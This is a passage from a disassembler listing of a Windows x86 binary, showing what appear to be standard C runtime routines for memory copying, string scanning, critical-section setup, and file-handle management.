.text:0041EF4Aj pop edi pop esi locret_41EF12: ; CODE XREF: .text:0041EEC6j retn ; --------------------------------------------------------------------------- loc_41EF13: ; CODE XREF: .text:0041EED9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41EF48 repe cmpsd jz short loc_41EF48 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41EF3B cmp ch, dh jnz short loc_41EF3B shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41EF3B cmp ch, dh loc_41EF3B: ; CODE XREF: .text:0041EF29j ; .text:0041EF2Dj ... mov eax, 0 loc_41EF40: ; CODE XREF: .text:0041EEE6j ; .text:0041EEF9j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41EF48: ; CODE XREF: .text:0041EF1Bj ; .text:0041EF1Fj test eax, eax jz short loc_41EF10 mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41EF3B sub eax, 1 jz short loc_41EF75 cmp dh, ch jnz short loc_41EF3B sub eax, 1 jz short loc_41EF75 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41EF3B sub eax, 1 loc_41EF75: ; CODE XREF: .text:0041EF57j ; .text:0041EF60j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_41EF94: ; CODE XREF: .text:0041EFA1j mov al, [edx] or al, al jz short loc_41EFA3 add edx, 1 bts [esp], eax jmp short loc_41EF94 ; --------------------------------------------------------------------------- loc_41EFA3: ; CODE XREF: .text:0041EF98j mov esi, [ebp+8] mov edi, edi loc_41EFA8: ; CODE XREF: .text:0041EFB5j mov al, [esi] or al, al jz short loc_41EFBA add esi, 1 bt [esp], eax jnb short loc_41EFA8 lea eax, [esi-1] loc_41EFBA: ; CODE XREF: .text:0041EFACj add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- loc_41EFC0: ; DATA XREF: sub_41EFD0:loc_41F012o push dword ptr [esp+4] call dword_422154 ; InitializeCriticalSection xor eax, eax inc eax retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EFD0 proc near ; CODE XREF: sub_41A0A4+26p ; sub_41A157+49p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 10h push offset stru_42CB38 call __SEH_prolog mov eax, dword_4814D4 test eax, eax jnz short loc_41F01C cmp dword_481184, 1 jz short loc_41F012 push offset aKernel32_dll ; "kernel32.dll" call dword_4220A4 ; GetModuleHandleA test eax, eax jz short loc_41F012 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call dword_422084 ; GetProcAddress mov dword_4814D4, eax test eax, eax jnz short loc_41F01C loc_41F012: ; CODE XREF: sub_41EFD0+1Cj ; sub_41EFD0+2Bj mov eax, offset loc_41EFC0 mov dword_4814D4, eax loc_41F01C: ; CODE XREF: sub_41EFD0+13j ; sub_41EFD0+40j and [ebp+ms_exc.disabled], 0 push [ebp+arg_4] push [ebp+arg_0] call eax ; InitializeCriticalSectionAndSpinCount mov [ebp+var_1C], eax jmp short loc_41F051 ; --------------------------------------------------------------------------- loc_41F02D: ; DATA XREF: .text:stru_42CB38o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_20], eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41F03B: ; DATA XREF: .text:stru_42CB38o mov esp, [ebp+ms_exc.old_esp] cmp [ebp+var_20], 0C0000017h jnz short loc_41F04F push 8 call dword_422174 ; RtlSetLastWin32Error loc_41F04F: ; CODE XREF: sub_41EFD0+75j xor eax, eax loc_41F051: ; CODE XREF: sub_41EFD0+5Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call __SEH_epilog retn sub_41EFD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F060 proc near ; CODE XREF: sub_41A27A+2DEp ; sub_41BC2B+13p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41F080 cmp edi, eax jb loc_41F1FC loc_41F080: ; CODE XREF: sub_41F060+16j test edi, 3 jnz short loc_41F09C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41F0BC rep movsd jmp off_41F1AC[edx*4] ; --------------------------------------------------------------------------- loc_41F09C: ; CODE XREF: sub_41F060+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41F0B4 and eax, 3 add ecx, eax jmp dword ptr loc_41F0BC+4[eax*4] ; --------------------------------------------------------------------------- loc_41F0B4: ; CODE XREF: sub_41F060+46j jmp dword ptr loc_41F1BC[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41F0BC: ; CODE XREF: sub_41F060+31j ; sub_41F060+8Ej ... jmp off_41F140[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41F0D0 dd offset loc_41F0FC dd offset loc_41F120 ; --------------------------------------------------------------------------- loc_41F0D0: ; DATA XREF: sub_41F060+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41F0BC rep movsd jmp off_41F1AC[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41F0FC: ; DATA XREF: sub_41F060+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41F0BC rep movsd jmp off_41F1AC[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41F120: ; DATA XREF: sub_41F060+6Co and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_41F0BC rep movsd jmp off_41F1AC[edx*4] ; --------------------------------------------------------------------------- align 10h off_41F140 dd offset loc_41F1A3 ; DATA XREF: sub_41F060:loc_41F0BCr dd offset loc_41F190 dd offset loc_41F188 dd offset loc_41F180 dd offset loc_41F178 dd offset loc_41F170 dd offset loc_41F168 dd offset loc_41F160 ; --------------------------------------------------------------------------- loc_41F160: ; CODE XREF: sub_41F060:loc_41F0BCj ; DATA XREF: sub_41F060+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41F168: ; CODE XREF: sub_41F060:loc_41F0BCj ; DATA XREF: sub_41F060+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41F170: ; CODE XREF: sub_41F060:loc_41F0BCj ; DATA XREF: sub_41F060+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41F178: ; CODE XREF: sub_41F060:loc_41F0BCj ; DATA XREF: sub_41F060+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41F180: ; CODE XREF: sub_41F060:loc_41F0BCj ; DATA XREF: sub_41F060+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41F188: ; CODE XREF: sub_41F060:loc_41F0BCj ; DATA XREF: sub_41F060+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41F190: ; CODE XREF: sub_41F060:loc_41F0BCj ; DATA XREF: sub_41F060+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41F1A3: ; CODE XREF: sub_41F060:loc_41F0BCj ; DATA XREF: sub_41F060:off_41F140o jmp off_41F1AC[edx*4] ; --------------------------------------------------------------------------- align 4 off_41F1AC dd offset loc_41F1BC ; DATA XREF: sub_41F060+35r ; sub_41F060+92r ... dd offset loc_41F1C4 dd offset loc_41F1D0 dd offset loc_41F1E4 ; --------------------------------------------------------------------------- loc_41F1BC: ; CODE XREF: sub_41F060+35j ; sub_41F060+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41F1C4: ; CODE XREF: sub_41F060+35j ; sub_41F060+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41F1D0: ; CODE XREF: sub_41F060+35j ; sub_41F060+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41F1E4: ; CODE XREF: sub_41F060+35j ; sub_41F060+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41F1FC: ; CODE XREF: sub_41F060+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41F230 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41F224 std rep movsd cld jmp off_41F348[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41F224: ; CODE XREF: sub_41F060+1B5j ; sub_41F060+210j ... neg ecx jmp off_41F2F8[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_41F230: ; CODE XREF: sub_41F060+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41F248 and eax, 3 sub ecx, eax jmp dword ptr loc_41F248+4[eax*4] ; --------------------------------------------------------------------------- loc_41F248: ; CODE XREF: sub_41F060+1DAj ; DATA XREF: sub_41F060+1E1r jmp off_41F348[ecx*4] ; --------------------------------------------------------------------------- align 10h dd offset loc_41F25B+1 dd offset loc_41F280 ; --------------------------------------------------------------------------- test al, 0F2h inc ecx loc_41F25B: ; DATA XREF: sub_41F060+1F0o add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_41F224 std rep movsd cld jmp off_41F348[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41F280: ; DATA XREF: sub_41F060+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41F224 std rep movsd cld jmp off_41F348[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41F224 std rep movsd cld jmp off_41F348[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41F2FC dd offset loc_41F304 dd offset loc_41F30C dd offset loc_41F314 dd offset loc_41F31C dd offset loc_41F324 dd offset loc_41F32C off_41F2F8 dd offset loc_41F33F ; DATA XREF: sub_41F060+1C6r ; --------------------------------------------------------------------------- loc_41F2FC: ; DATA XREF: sub_41F060+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41F304: ; DATA XREF: sub_41F060+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41F30C: ; DATA XREF: sub_41F060+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41F314: ; DATA XREF: sub_41F060+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41F31C: ; DATA XREF: sub_41F060+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41F324: ; DATA XREF: sub_41F060+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41F32C: ; DATA XREF: sub_41F060+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41F33F: ; CODE XREF: sub_41F060+1C6j ; DATA XREF: sub_41F060:off_41F2F8o jmp off_41F348[edx*4] ; --------------------------------------------------------------------------- align 4 off_41F348 dd offset loc_41F358 ; DATA XREF: sub_41F060+1BBr ; sub_41F060:loc_41F248r ... dd offset loc_41F360 dd offset loc_41F370 dd offset loc_41F384 ; --------------------------------------------------------------------------- loc_41F358: ; CODE XREF: sub_41F060+1BBj ; sub_41F060:loc_41F248j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41F360: ; CODE XREF: sub_41F060+1BBj ; sub_41F060:loc_41F248j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41F370: ; CODE XREF: sub_41F060+1BBj ; sub_41F060:loc_41F248j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41F384: ; CODE XREF: sub_41F060+1BBj ; sub_41F060:loc_41F248j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41F060 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3A8 proc near ; DATA XREF: __SEH_prologo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F448 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F3DB: ; CODE XREF: sub_41F3A8+90j cmp esi, 0FFFFFFFFh jz short loc_41F441 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F42F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F42F js short loc_41F43A mov edi, [ebx+8] push ebx call sub_417D60 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_417DA2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_417E36 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F42F: ; CODE XREF: sub_41F3A8+40j ; sub_41F3A8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F3DB ; --------------------------------------------------------------------------- loc_41F43A: ; CODE XREF: sub_41F3A8+54j mov eax, 0 jmp short loc_41F45D ; --------------------------------------------------------------------------- loc_41F441: ; CODE XREF: sub_41F3A8+36j mov eax, 1 jmp short loc_41F45D ; --------------------------------------------------------------------------- loc_41F448: ; CODE XREF: sub_41F3A8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_417DA2 add esp, 8 pop ebp mov eax, 1 loc_41F45D: ; CODE XREF: sub_41F3A8+97j ; sub_41F3A8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F3A8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_417DA2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F480 proc near ; CODE XREF: sub_41F8F5+220p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] cmp ecx, dword_4815F0 push esi push edi jnb short loc_41F4E3 mov eax, ecx sar eax, 5 lea edi, ds:481600h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 cmp dword ptr [esi+eax], 0FFFFFFFFh jnz short loc_41F4E3 cmp dword_432384, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41F4D9 sub ecx, 0 jz short loc_41F4D0 dec ecx jz short loc_41F4CB dec ecx jnz short loc_41F4D9 push ebx push 0FFFFFFF4h jmp short loc_41F4D3 ; --------------------------------------------------------------------------- loc_41F4CB: ; CODE XREF: sub_41F480+41j push ebx push 0FFFFFFF5h jmp short loc_41F4D3 ; --------------------------------------------------------------------------- loc_41F4D0: ; CODE XREF: sub_41F480+3Ej push ebx push 0FFFFFFF6h loc_41F4D3: ; CODE XREF: sub_41F480+49j ; sub_41F480+4Ej call dword_422150 ; SetStdHandle loc_41F4D9: ; CODE XREF: sub_41F480+39j ; sub_41F480+44j mov eax, [edi] mov [esi+eax], ebx xor eax, eax pop ebx jmp short loc_41F4F9 ; --------------------------------------------------------------------------- loc_41F4E3: ; CODE XREF: sub_41F480+Cj ; sub_41F480+2Bj call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41F4F9: ; CODE XREF: sub_41F480+61j pop edi pop esi retn sub_41F480 endp ; =============== S U B R O U T I N E ======================================= sub_41F4FC proc near ; CODE XREF: sub_41AD93+51p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp ecx, dword_4815F0 push esi push edi jnb short loc_41F562 mov eax, ecx sar eax, 5 lea edi, ds:481600h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 add eax, esi test byte ptr [eax+4], 1 jz short loc_41F562 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F562 cmp dword_432384, 1 jnz short loc_41F558 xor eax, eax sub ecx, eax jz short loc_41F54F dec ecx jz short loc_41F54A dec ecx jnz short loc_41F558 push eax push 0FFFFFFF4h jmp short loc_41F552 ; --------------------------------------------------------------------------- loc_41F54A: ; CODE XREF: sub_41F4FC+44j push eax push 0FFFFFFF5h jmp short loc_41F552 ; --------------------------------------------------------------------------- loc_41F54F: ; CODE XREF: sub_41F4FC+41j push eax push 0FFFFFFF6h loc_41F552: ; CODE XREF: sub_41F4FC+4Cj ; sub_41F4FC+51j call dword_422150 ; SetStdHandle loc_41F558: ; CODE XREF: sub_41F4FC+3Bj ; sub_41F4FC+47j mov eax, [edi] or dword ptr [esi+eax], 0FFFFFFFFh xor eax, eax jmp short loc_41F578 ; --------------------------------------------------------------------------- loc_41F562: ; CODE XREF: sub_41F4FC+Cj ; sub_41F4FC+2Dj ... call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41F578: ; CODE XREF: sub_41F4FC+64j pop edi pop esi retn sub_41F4FC endp ; =============== S U B R O U T I N E ======================================= sub_41F57B proc near ; CODE XREF: sub_41AD93+7p ; sub_41AD93+1Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4815F0 jnb short loc_41F5A5 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_481600[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4] test byte ptr [eax+4], 1 jz short loc_41F5A5 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41F5A5: ; CODE XREF: sub_41F57B+Aj ; sub_41F57B+25j call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or eax, 0FFFFFFFFh retn sub_41F57B endp ; =============== S U B R O U T I N E ======================================= sub_41F5BC proc near ; CODE XREF: sub_41AE16+38p ; sub_41B454+38p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov ecx, eax sar ecx, 5 and eax, 1Fh push edi lea ebx, ds:481600h[ecx*4] mov esi, [ebx] lea edi, [eax+eax*8] shl edi, 2 add esi, edi cmp dword ptr [esi+8], 0 jnz short loc_41F61B push 0Ah call sub_41A1D6 cmp dword ptr [esi+8], 0 pop ecx jnz short loc_41F613 lea eax, [esi+0Ch] push 0FA0h push eax call sub_41EFD0 test eax, eax pop ecx pop ecx jnz short loc_41F610 push 0Ah call sub_41A142 pop ecx xor eax, eax jmp short loc_41F62B ; --------------------------------------------------------------------------- loc_41F610: ; CODE XREF: sub_41F5BC+46j inc dword ptr [esi+8] loc_41F613: ; CODE XREF: sub_41F5BC+32j push 0Ah call sub_41A142 pop ecx loc_41F61B: ; CODE XREF: sub_41F5BC+24j mov eax, [ebx] lea eax, [eax+edi+0Ch] push eax call dword_42201C ; RtlEnterCriticalSection xor eax, eax inc eax loc_41F62B: ; CODE XREF: sub_41F5BC+52j pop edi pop esi pop ebx retn sub_41F5BC endp ; =============== S U B R O U T I N E ======================================= sub_41F62F proc near ; CODE XREF: sub_41AE8D+1p ; sub_41B4DB+1p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_481600[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4+0Ch] push eax call dword_422018 ; RtlLeaveCriticalSection retn sub_41F62F endp ; =============== S U B R O U T I N E ======================================= sub_41F651 proc near ; CODE XREF: sub_41F8F5:loc_41FA89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx push ebp push 0Bh or ebp, 0FFFFFFFFh call sub_41A157 test eax, eax pop ecx jz loc_41F798 push ebx push esi push edi push 0Bh call sub_41A1D6 xor ebx, ebx pop ecx mov [esp+18h+var_8], ebx mov [esp+18h+var_4], ebx mov edi, offset dword_481600 loc_41F681: ; CODE XREF: sub_41F651+D5j mov esi, [edi] test esi, esi jz loc_41F738 lea eax, [esi+480h] jmp short loc_41F6F1 ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F651+A2j test byte ptr [esi+4], 1 jnz short loc_41F6E7 cmp dword ptr [esi+8], 0 jnz short loc_41F6CC push 0Ah call sub_41A1D6 cmp dword ptr [esi+8], 0 pop ecx jnz short loc_41F6C4 lea eax, [esi+0Ch] push 0FA0h push eax call sub_41EFD0 test eax, eax pop ecx pop ecx jz short loc_41F72E inc dword ptr [esi+8] loc_41F6C4: ; CODE XREF: sub_41F651+5Aj push 0Ah call sub_41A142 pop ecx loc_41F6CC: ; CODE XREF: sub_41F651+4Cj lea ebx, [esi+0Ch] push ebx call dword_42201C ; RtlEnterCriticalSection test byte ptr [esi+4], 1 jz short loc_41F6F7 push ebx call dword_422018 ; RtlLeaveCriticalSection mov ebx, [esp+18h+var_8] loc_41F6E7: ; CODE XREF: sub_41F651+46j mov eax, [edi] add esi, 24h add eax, 480h loc_41F6F1: ; CODE XREF: sub_41F651+40j cmp esi, eax jb short loc_41F693 jmp short loc_41F713 ; --------------------------------------------------------------------------- loc_41F6F7: ; CODE XREF: sub_41F651+89j or dword ptr [esi], 0FFFFFFFFh mov eax, esi sub eax, [edi] push 24h cdq pop ecx idiv ecx mov ebp, eax add ebp, [esp+18h+var_4] cmp ebp, 0FFFFFFFFh jnz short loc_41F78D mov ebx, [esp+18h+var_8] loc_41F713: ; CODE XREF: sub_41F651+A4j add [esp+18h+var_4], 20h inc ebx add edi, 4 cmp edi, offset dword_481700 mov [esp+18h+var_8], ebx jl loc_41F681 jmp short loc_41F78D ; --------------------------------------------------------------------------- loc_41F72E: ; CODE XREF: sub_41F651+6Ej push 0Ah call sub_41A142 pop ecx jmp short loc_41F78A ; --------------------------------------------------------------------------- loc_41F738: ; CODE XREF: sub_41F651+34j mov esi, 480h push esi call sub_416E1F test eax, eax pop ecx jz short loc_41F78D add dword_4815F0, 20h lea ecx, ds:481600h[ebx*4] mov [ecx], eax lea edx, [eax+480h] jmp short loc_41F776 ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F651+127j and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 24h add edx, esi loc_41F776: ; CODE XREF: sub_41F651+10Dj cmp eax, edx jb short loc_41F760 shl ebx, 5 mov ebp, ebx push ebp call sub_41F5BC test eax, eax pop ecx jnz short loc_41F78D loc_41F78A: ; CODE XREF: sub_41F651+E5j or ebp, 0FFFFFFFFh loc_41F78D: ; CODE XREF: sub_41F651+BCj ; sub_41F651+DBj ... push 0Bh call sub_41A142 pop ecx pop edi pop esi pop ebx loc_41F798: ; CODE XREF: sub_41F651+10j mov eax, ebp pop ebp pop ecx pop ecx retn sub_41F651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F79E proc near ; CODE XREF: sub_41AF39+1Ep var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041F846 SIZE 00000014 BYTES push 0Ch push offset stru_42CB48 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_4815F0 jnb loc_41F846 mov eax, ebx sar eax, 5 lea edi, ds:481600h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41F846 push ebx call sub_41F5BC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41F81E push ebx call sub_41F57B pop ecx push eax call dword_42214C ; FlushFileBuffers test eax, eax jnz short loc_41F80A call dword_422008 ; RtlGetLastWin32Error mov [ebp+var_1C], eax jmp short loc_41F80E ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F79E+5Fj and [ebp+var_1C], 0 loc_41F80E: ; CODE XREF: sub_41F79E+6Aj cmp [ebp+var_1C], 0 jz short loc_41F82D call sub_41B9AE mov ecx, [ebp+var_1C] mov [eax], ecx loc_41F81E: ; CODE XREF: sub_41F79E+4Dj call sub_41B9A5 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_41F82D: ; CODE XREF: sub_41F79E+74j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41F83E mov eax, [ebp+var_1C] jmp short loc_41F854 sub_41F79E endp ; =============== S U B R O U T I N E ======================================= sub_41F83B proc near ; DATA XREF: .text:stru_42CB48o mov ebx, [ebp+8] sub_41F83B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F83E proc near ; CODE XREF: sub_41F79E+93p push ebx call sub_41F62F pop ecx retn sub_41F83E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41F79E loc_41F846: ; CODE XREF: sub_41F79E+15j ; sub_41F79E+39j call sub_41B9A5 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_41F854: ; CODE XREF: sub_41F79E+9Bj call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41F79E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41B0EE loc_41F85A: ; CODE XREF: sub_41B0EE+Ej push 10h push offset stru_42CB58 call __SEH_prolog xor ebx, ebx mov [ebp-1Ch], ebx push 1 call sub_41A1D6 pop ecx mov [ebp-4], ebx push 3 pop edi loc_41F879: ; CODE XREF: sub_41B0EE+47EAj mov [ebp-20h], edi cmp edi, dword_482960 jge short loc_41F8DA mov esi, edi shl esi, 2 mov eax, dword_481940 mov eax, [esi+eax] cmp eax, ebx jz short loc_41F8D7 test byte ptr [eax+0Ch], 83h jz short loc_41F8AA push eax call sub_416E7D pop ecx cmp eax, 0FFFFFFFFh jz short loc_41F8AA inc dword ptr [ebp-1Ch] loc_41F8AA: ; CODE XREF: sub_41B0EE+47ABj ; sub_41B0EE+47B7j cmp edi, 14h jl short loc_41F8D7 mov eax, dword_481940 mov eax, [esi+eax] add eax, 20h push eax call dword_422024 ; RtlDeleteCriticalSection mov eax, dword_481940 push dword ptr [esi+eax] call sub_416D07 pop ecx mov eax, dword_481940 mov [esi+eax], ebx loc_41F8D7: ; CODE XREF: sub_41B0EE+47A5j ; sub_41B0EE+47BFj inc edi jmp short loc_41F879 ; --------------------------------------------------------------------------- loc_41F8DA: ; CODE XREF: sub_41B0EE+4794j or dword ptr [ebp-4], 0FFFFFFFFh call sub_41F8EC mov eax, [ebp-1Ch] call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41B0EE ; =============== S U B R O U T I N E ======================================= sub_41F8EC proc near ; CODE XREF: sub_41B0EE+47F0p ; DATA XREF: .text:stru_42CB58o push 1 call sub_41A142 pop ecx retn sub_41F8EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8F5 proc near ; CODE XREF: sub_41FBDC+28p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch mov edx, [ebp+arg_C] push ebx push esi xor esi, esi test dl, dl mov [ebp+var_1C], 0Ch mov [ebp+var_18], esi jns short loc_41F919 mov [ebp+var_14], esi mov [ebp+var_1], 10h jmp short loc_41F924 ; --------------------------------------------------------------------------- loc_41F919: ; CODE XREF: sub_41F8F5+19j and [ebp+var_1], 0 mov 